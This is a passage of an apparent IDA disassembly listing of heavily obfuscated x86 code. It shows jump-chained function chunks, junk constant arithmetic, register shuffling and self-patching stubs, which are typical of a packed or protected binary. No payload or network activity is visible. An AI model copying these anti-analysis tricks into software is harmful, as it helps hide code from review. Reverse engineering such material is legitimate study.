		xchg	edx, [ebp+0]
		sbb	ebx, 0E093878Ch
		add	esi, 6E8C13AAh
		jmp	loc_443EC2
; ---------------------------------------------------------------------------

loc_43C005:				; DATA XREF: y22d6.y.:0044A4EDo
		add	ebx, 0E14AB8ABh
		push	offset sub_44C76B
		jmp	locret_445BBE
; ---------------------------------------------------------------------------

loc_43C015:				; DATA XREF: sub_43A6E1:loc_449460o
		xor	edx, 0A68A51B3h
		sub	eax, edx
		pop	edx
		ror	eax, 15h
		push	edi
		push	0A806C806h
		pop	edi
		jmp	loc_4493D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_43C02D:				; CODE XREF: sub_441030:loc_4459BEj
		pop	esi
		and	esi, 0F043A04Ah
		jnz	loc_443DFA

loc_43C03A:				; CODE XREF: sub_44DA98-52DDj
		jmp	loc_44B69D
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43C03F:				; CODE XREF: sub_44633F-A389j
		jmp	loc_449574
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
		add	ecx, 178EA393h
		jmp	loc_443DF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_43C04F:				; CODE XREF: sub_4400D5-849j
		or	ecx, 0DB6F2B1Ch
		add	ecx, 538F51h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_43E155
; END OF FUNCTION CHUNK	FOR sub_4400D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_43C063:				; CODE XREF: sub_43B7D4+63EEj
		jz	loc_44B25A
		jmp	loc_442ECE
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
		mov	ds:off_41E040, eax
		push	offset loc_44203B
		jmp	locret_440EC0
; ---------------------------------------------------------------------------

loc_43C07E:				; DATA XREF: sub_4482CF-3711o
		lea	eax, dword_440E88
		push	eax
		push	eax
		mov	edx, eax
		call	sub_44D088
		push	edi
		push	0CD9FB5CDh
		jmp	loc_43970F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43C098:				; CODE XREF: sub_44AEDA:loc_445EF8j
					; y22d6.y.:00445F27j
		xor	esi, ds:4000E9h
		add	esi, 5EE5DD5Dh
		xchg	esi, [esp-4+arg_0]
		jmp	loc_44C8A8
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_43C0AC:				; CODE XREF: sub_43CFF2:loc_43CA15j
		mov	eax, 0CA1E90EFh
		jmp	loc_44E44C
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43C0B6:				; CODE XREF: sub_43B98D:loc_43FCEAj
		add	eax, ebp
		add	eax, 9A72986Dh
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		jmp	loc_43AED8
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------

loc_43C0C8:				; CODE XREF: y22d6.y.:00440844j
		jl	loc_43A54D
		cdq

loc_43C0CF:				; CODE XREF: y22d6.y.:loc_4442EFj
		call	sub_43760A
		push	1616DEBEh
		jmp	loc_43D324
; ---------------------------------------------------------------------------

loc_43C0DE:				; DATA XREF: y22d6.y.:0044878Do
		mov	ebp, esp
		push	offset sub_4387EA
		jmp	loc_442EAE
; ---------------------------------------------------------------------------

loc_43C0EA:				; CODE XREF: y22d6.y.:0044D87Cj
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_43C0EB:				; CODE XREF: sub_44D7E0:loc_444994j
		sub	eax, 60CB6AC5h
		xor	eax, 5F14FA63h
		call	sub_444581
		push	esi
		push	10CD7895h
		jmp	loc_44D1DC
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 15h
		push	offset loc_43EC8B
		jmp	nullsub_177
; ---------------------------------------------------------------------------

loc_43C115:				; CODE XREF: y22d6.y.:loc_43B4E8j
		push	6F542079h
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		jmp	loc_43BB14
; ---------------------------------------------------------------------------

loc_43C125:				; CODE XREF: y22d6.y.:00440A56j
		shr	esi, 15h

; =============== S U B	R O U T	I N E =======================================



sub_43C128	proc near		; CODE XREF: sub_448EB6-B322p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044195D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446453 SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	40AD37B7h
		pop	ecx
		add	ecx, 0F5E14281h
		jmp	loc_446453
sub_43C128	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C13D:				; CODE XREF: y22d6.y.:0044A15Bj
		jp	loc_44B5B0
		push	edi

loc_43C144:				; CODE XREF: y22d6.y.:loc_43D12Dj
		call	sub_43760A
		call	sub_44585C
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43C14E:				; CODE XREF: sub_438B66+19B8j
		push	edx
		call	sub_44146B
; END OF FUNCTION CHUNK	FOR sub_438B66
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_43C155:				; CODE XREF: sub_4416F3+9C7Ej
					; y22d6.y.:0044B786j
		jmp	loc_440F47
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_43C15A:				; CODE XREF: sub_43D025+B2A5j
		jmp	loc_438201
; END OF FUNCTION CHUNK	FOR sub_43D025
; ---------------------------------------------------------------------------
		adc	edi, 0BDC43758h
		jmp	loc_44D8EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3AD

loc_43C16A:				; CODE XREF: sub_43F3AD+13j
		mov	edx, ebx
		pop	ebx
		or	edx, 0B361414Eh
		test	edx, 2000000h
		jmp	loc_43AA68
; END OF FUNCTION CHUNK	FOR sub_43F3AD

; =============== S U B	R O U T	I N E =======================================



sub_43C17E	proc near		; DATA XREF: sub_43E7BF+969Do

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004372EE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00439270 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043935B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004496C6 SIZE 0000001D BYTES

		push	977543BAh
		pop	eax
		or	eax, 0E228F507h
		jnz	loc_4496C6

loc_43C190:				; CODE XREF: y22d6.y.:0043796Bj
		jmp	loc_4372EE
sub_43C17E	endp

; ---------------------------------------------------------------------------
		cmp	ecx, ebp
		jmp	loc_449BD1
; ---------------------------------------------------------------------------

loc_43C19C:				; CODE XREF: y22d6.y.:0044741Ej
		lea	eax, nullsub_358
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_358
; ---------------------------------------------------------------------------

loc_43C1AA:				; CODE XREF: y22d6.y.:00444260j
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		jmp	loc_4454EC
; ---------------------------------------------------------------------------

loc_43C1B8:				; CODE XREF: y22d6.y.:0043DC2Aj
		xchg	eax, edi
		jmp	loc_445FF1
; ---------------------------------------------------------------------------
		add	ebx, edi
		jmp	loc_44867B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_268. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_43C1C7:				; CODE XREF: sub_43A148+E80j
		jmp	loc_44DC8A
; END OF FUNCTION CHUNK	FOR sub_43A148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_43C1CC:				; CODE XREF: sub_444541:loc_43C850j
		add	edx, 2A524EE1h
		mov	[edx], eax
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		call	sub_44E091

loc_43C1DF:				; DATA XREF: y22d6.y.:004422F7o
		jo	loc_447A84
		mov	eax, [esp-4+arg_0]
		push	edx
		push	eax
		push	4ECE6ED0h
		jmp	loc_44D5D7
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------

loc_43C1F4:				; CODE XREF: y22d6.y.:00439E8Fj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_43C1F5	proc near		; CODE XREF: sub_438B66+B9ACp
		xchg	eax, [esp+0]
		pop	eax
		add	edx, 0DD109455h
		push	offset loc_43A91F
		jmp	sub_448CE6
sub_43C1F5	endp

; ---------------------------------------------------------------------------
		adc	ebp, 0E9859C7Bh
		jmp	sub_43E7D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499F4

loc_43C214:				; CODE XREF: sub_4499F4-E8ADj
		jnz	loc_43D828
; END OF FUNCTION CHUNK	FOR sub_4499F4
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43C21A:				; CODE XREF: sub_44B1D2-A14Dj
		jmp	loc_446E91
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_43C21F:				; CODE XREF: sub_43CBF3+19B8j
		jmp	loc_44A728
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; ---------------------------------------------------------------------------
		pop	edx
		test	edx, ecx
		jmp	loc_43D81D
; ---------------------------------------------------------------------------

loc_43C22C:				; CODE XREF: y22d6.y.:0043AE7Bj
		rol	ecx, 1Ch

; =============== S U B	R O U T	I N E =======================================



sub_43C22F	proc near		; CODE XREF: sub_43BEC1+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439C61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004417FC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00441F64 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443DA0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00446EA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C259 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0E846C3FAh
		xchg	ebx, [esp+0]
		mov	edi, ebx
		jmp	loc_44C259
sub_43C22F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C242	proc near		; CODE XREF: sub_43E15A+1p
					; y22d6.y.:00440272j

; FUNCTION CHUNK AT 004373A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043C3F0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043EA17 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00440242 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004405BE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00443013 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004463C7 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044E3C5 SIZE 0000000B BYTES

		xchg	eax, [esp+0]

loc_43C245:				; CODE XREF: y22d6.y.:loc_44BBCFj
		pop	eax
		mov	ebp, esp
		push	esi
		push	ecx
		pop	esi
		call	sub_448D0A

loc_43C250:				; CODE XREF: sub_43BA32+EE8Cj
		jmp	loc_43EA17
sub_43C242	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43C255:				; CODE XREF: sub_43A6E1+17AFj
		jmp	loc_44A4AA
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_43C25A:				; CODE XREF: sub_441F08+53F5j
		popf
		mov	[ecx], edi
		pushf
		jmp	loc_440899
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------

loc_43C263:				; CODE XREF: y22d6.y.:00448349j
		sub	al, 99h
		push	offset sub_43C65F
		jmp	loc_44DF29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43C26F:				; CODE XREF: sub_4432B8-4004j
		mov	edx, 8D40711Dh
		call	sub_44D293
		push	esi

loc_43C27A:				; CODE XREF: y22d6.y.:loc_44DA18j
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		ror	eax, 1Ah
		call	sub_43CC60

loc_43C287:				; CODE XREF: y22d6.y.:00440CF2j
		cmp	ebp, 91802235h
		jmp	loc_43B650
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		mov	edx, [esi]
		or	edi, 8A137618h
		jmp	sub_445629
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43C29F:				; CODE XREF: sub_43BCA9:loc_448DD9j
		jz	loc_437ABD

loc_43C2A5:				; CODE XREF: sub_4389FD+14447j
		jmp	loc_437280
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EA2

loc_43C2AA:				; CODE XREF: sub_443EA2+7j
		jmp	loc_437970
; END OF FUNCTION CHUNK	FOR sub_443EA2
; ---------------------------------------------------------------------------
		shr	eax, 0Eh
		jmp	loc_437AAE
; ---------------------------------------------------------------------------
		adc	esi, edi
		add	ebx, 53E7FD4Fh
		jmp	sub_448AF8
; ---------------------------------------------------------------------------

loc_43C2C4:				; DATA XREF: sub_43A6E1+F0FDo
		rol	eax, 17h
		push	edi
		push	5BDF172Eh
		pop	edi
		xor	edi, 0F632D82Ah
		call	sub_440DCC
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_43C2D9:				; CODE XREF: sub_446F34+6409j
		jmp	loc_44CA97
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440330

loc_43C2DE:				; CODE XREF: sub_440330+CA63j
		xor	esi, ecx
		mov	ebp, 5B628659h
		jmp	loc_447EBA
; END OF FUNCTION CHUNK	FOR sub_440330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_43C2EA:				; CODE XREF: sub_437FD8+Bj
					; sub_437B01:loc_43BD72j
		push	offset loc_44C794
; END OF FUNCTION CHUNK	FOR sub_437FD8
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43C2EF:				; CODE XREF: sub_449641+AA4j
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		sbb	ebp, eax
		jmp	sub_44585C
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0C8, eax
		lea	eax, nullsub_338
		mov	byte ptr [eax],	0C3h
		jmp	loc_4420EF
; ---------------------------------------------------------------------------

loc_43C30F:				; CODE XREF: y22d6.y.:00438ECBj
		mov	eax, [esp]
		jmp	loc_449049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA5D

loc_43C317:				; CODE XREF: sub_43DA5D:loc_446DC9j
		add	ebx, 4E8913F3h
		or	ebx, 461D885Eh
		add	ebx, 90420622h
		xchg	ebx, [esp+4+var_4]
		mov	edx, esp
		jmp	loc_448C8B
; END OF FUNCTION CHUNK	FOR sub_43DA5D
; ---------------------------------------------------------------------------

loc_43C333:				; CODE XREF: y22d6.y.:00447584j
		jz	loc_4494E6
		jmp	loc_43C5E1
; ---------------------------------------------------------------------------
		test	edi, 68BCBB15h
		jmp	loc_43B7CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C222

loc_43C349:				; CODE XREF: sub_44C222:loc_43E237j
		add	ecx, 0F5FC9FC3h
		sub	ecx, 0C61EAC6Dh
		jnz	loc_44706D
		add	ebp, 0B04A107Ch
		jmp	loc_44C420
; END OF FUNCTION CHUNK	FOR sub_44C222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_43C366:				; CODE XREF: sub_4409F4:loc_43902Ej
					; sub_4409F4-15D7j
		mov	eax, [ebp-8]
		push	edx
		push	2E47C19Eh
		pop	edx

loc_43C370:				; CODE XREF: sub_448EB6:loc_44242Aj
		xor	edx, 2E2BB7C3h
		cmp	edx, 357FBB44h
		jmp	loc_43AE59
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_43C381:				; CODE XREF: sub_444F37:loc_439B15j
		jl	loc_43A0F4

loc_43C387:				; CODE XREF: sub_439595+1138Ej
		jmp	sub_4483BF
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FA7

loc_43C38C:				; CODE XREF: sub_442FA7+17j
		jmp	loc_43C5D6
; END OF FUNCTION CHUNK	FOR sub_442FA7
; ---------------------------------------------------------------------------
		rol	ecx, 11h
		mov	[ebx], esi

loc_43C396:				; CODE XREF: y22d6.y.:loc_449B3Fj
		jmp	loc_43A0F4

; =============== S U B	R O U T	I N E =======================================



sub_43C39B	proc near		; CODE XREF: y22d6.y.:0043C441j
					; sub_43A9C6+5FE6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C9B5 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	loc_43C9B5
sub_43C39B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43C3A7:				; CODE XREF: sub_44271A:loc_438653j
		jz	loc_4388A2
		jmp	loc_44148E
; END OF FUNCTION CHUNK	FOR sub_44271A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43C3B3:				; CODE XREF: sub_448EB6-1BC6j
		jmp	sub_439595
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C41

loc_43C3B8:				; CODE XREF: sub_442C41+8C2Fj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_43C3CE
		add	dword ptr [ebp-8], 4
		jmp	loc_438F79
; ---------------------------------------------------------------------------

loc_43C3CE:				; CODE XREF: sub_442C41-6882j
		add	dword ptr [ebp-8], 2
		jmp	loc_44DF33
; END OF FUNCTION CHUNK	FOR sub_442C41

; =============== S U B	R O U T	I N E =======================================



sub_43C3D7	proc near		; CODE XREF: sub_444717p
					; y22d6.y.:004471AAp

; FUNCTION CHUNK AT 0043A84F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B23 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_440B23
sub_43C3D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C3DD	proc near		; CODE XREF: sub_43734D:loc_44130Bp
					; y22d6.y.:0044AE5Fj

; FUNCTION CHUNK AT 004385B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439590 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043989E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A717 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AD5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AF2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BA94 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BBD7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00443BB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443FEB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00445E6F SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp+0]
		mov	ebp, edi
		and	edi, esi
		jmp	loc_43989E
sub_43C3DD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_43C3F0:				; CODE XREF: sub_43C242:loc_4373B4j
		push	5B88E3EEh
		pop	ebx
		sub	ebx, 0B16CBC95h
		rol	ebx, 1Eh
		call	sub_440D6B

loc_43C404:				; CODE XREF: sub_44807C:loc_444478j
		jnp	loc_445D84
		jmp	loc_443013
; END OF FUNCTION CHUNK	FOR sub_43C242
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CED

loc_43C410:				; CODE XREF: sub_449CED-B0B5j
		jmp	loc_440B7A
; END OF FUNCTION CHUNK	FOR sub_449CED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D5BB

loc_43C415:				; CODE XREF: sub_43D5BB+5j
		jmp	loc_43A98D
; END OF FUNCTION CHUNK	FOR sub_43D5BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43C41B:				; CODE XREF: sub_43837F+12B7Bj
		jmp	loc_43B2F8
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_43C420:				; CODE XREF: sub_4392B0+549Ej
		jmp	loc_44A2FD
; END OF FUNCTION CHUNK	FOR sub_4392B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437712

loc_43C425:				; CODE XREF: sub_437712+Fj
		push	58964BBCh
		xchg	edx, [esp+4+var_4]
		mov	edi, edx
		pop	edx
		sub	edi, 436687A9h
		jmp	loc_43B4B5
; END OF FUNCTION CHUNK	FOR sub_437712
; ---------------------------------------------------------------------------
		jns	loc_43B59F
		jmp	sub_43C39B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447527

loc_43C446:				; CODE XREF: sub_447527+8j
		push	offset loc_44E6AB
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_447527
; ---------------------------------------------------------------------------
		pushf
		ror	ecx, 1Fh
		jmp	sub_448BA0
; ---------------------------------------------------------------------------
		cmp	ecx, esi
		jmp	loc_43FEC0
; ---------------------------------------------------------------------------

loc_43C460:				; CODE XREF: y22d6.y.:0044A4A5j
		jge	loc_44843D

; =============== S U B	R O U T	I N E =======================================



sub_43C466	proc near		; CODE XREF: sub_440626+B9B6p

; FUNCTION CHUNK AT 004471DB SIZE 0000001B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		push	453EA615h
		pop	ecx
		or	ecx, ds:4000E2h
		sub	ecx, 0EDFB674Fh
		jmp	loc_4471DB
sub_43C466	endp

; ---------------------------------------------------------------------------

loc_43C482:				; CODE XREF: y22d6.y.:loc_440FCBj
		not	edi
		and	ecx, eax
		xor	esi, ebx
		jmp	loc_4417DE
; ---------------------------------------------------------------------------

loc_43C48D:				; CODE XREF: y22d6.y.:00443A97j
		push	offset sub_44C4FF
		jmp	loc_448DCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_43C497:				; CODE XREF: sub_43B7D4+BFDCj
		jz	loc_44B25A
		jmp	loc_44636A
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43C4A2:				; CODE XREF: sub_44057E:loc_448D31j
		add	eax, ebp
		add	eax, 0A31DD7C3h
		mov	eax, [eax]
		mov	eax, [eax]
		push	ebp
		push	esi
		jmp	loc_444036
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43C4B6:				; CODE XREF: sub_44B17B-293Cj
		jmp	loc_44B7BB
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC0F

loc_43C4BB:				; CODE XREF: sub_44AC0F-11B3Bj
		jmp	sub_443C3C
; END OF FUNCTION CHUNK	FOR sub_44AC0F
; ---------------------------------------------------------------------------
		ror	eax, 7
		jmp	sub_43FCB6
; ---------------------------------------------------------------------------

loc_43C4C8:				; CODE XREF: y22d6.y.:0043EA36j
		jno	loc_44AE74
		xchg	ebp, eax
; START	OF FUNCTION CHUNK FOR sub_447940

loc_43C4D0:				; CODE XREF: sub_447940:loc_43941Dj
		or	edx, 0CAAB060Ah
		xor	edx, 6E249F4Fh
		add	edx, ebp
		jmp	loc_43AC83
; END OF FUNCTION CHUNK	FOR sub_447940
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_43C4E3:				; CODE XREF: sub_4383E0+DAFFj
		xor	ecx, 8C1B04ABh

loc_43C4E9:				; CODE XREF: y22d6.y.:loc_449603j
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		lea	eax, dword_4401FC
		push	eax
		push	eax
		jmp	loc_44E5C2
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------

locret_43C4FC:				; CODE XREF: y22d6.y.:loc_44CA70j
		retn
; ---------------------------------------------------------------------------
		rol	eax, 2
		add	eax, 8C445B8Eh
		rol	eax, 1Bh
		xor	eax, 385C639Eh
		rol	eax, 16h
		jmp	loc_44A494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_43C517:				; CODE XREF: sub_43B252j
		mov	eax, ds:dword_4464B4
		or	eax, eax
		jnz	loc_44851D
		jmp	loc_448670
; END OF FUNCTION CHUNK	FOR sub_43B252

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43C52A	proc near		; DATA XREF: sub_43B7B5:loc_44C761o
		jmp	loc_44B989
sub_43C52A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43C52F:				; CODE XREF: sub_44E5C7-13616j
					; sub_44E5C7-1149j
		pop	ecx
		pop	ebp

locret_43C531:				; CODE XREF: sub_43FAC6:loc_43EB90j
		retn
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_43C532:				; CODE XREF: sub_43A58D-284Bj
		jmp	nullsub_194
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------

loc_43C537:				; CODE XREF: y22d6.y.:00441786j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_43C538	proc near		; CODE XREF: sub_448B90-8B65p

; FUNCTION CHUNK AT 004442D1 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jmp	loc_4442D1
sub_43C538	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_43C54B:				; CODE XREF: sub_44B489-8D20j
		mov	edi, [eax]
		ror	ecx, 13h
		jmp	loc_44B062
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C02C

loc_43C555:				; CODE XREF: sub_44C02C-C96Cj
		cdq
		jmp	loc_4443CE
; END OF FUNCTION CHUNK	FOR sub_44C02C

; =============== S U B	R O U T	I N E =======================================



sub_43C55B	proc near		; CODE XREF: y22d6.y.:0043712Aj
					; sub_43AEAA+Ap ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AD50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AF41 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043DAA2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043F8C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004422D0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00442624 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044321F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004446AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444CAC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00445781 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004484BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448528 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00448657 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449F8C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044B5D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF4C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044BFEF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C72F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D17A SIZE 0000001E BYTES

		xchg	esi, [esp+4+var_4]
		pop	esi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_444CAC
sub_43C55B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_43C569:				; CODE XREF: sub_43A041+19j
		call	sub_4485B6
		jnz	loc_43CBBD
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_44A936
		mov	ebx, [ebx+ecx]
		jmp	loc_44A931
; END OF FUNCTION CHUNK	FOR sub_43A041
; ---------------------------------------------------------------------------
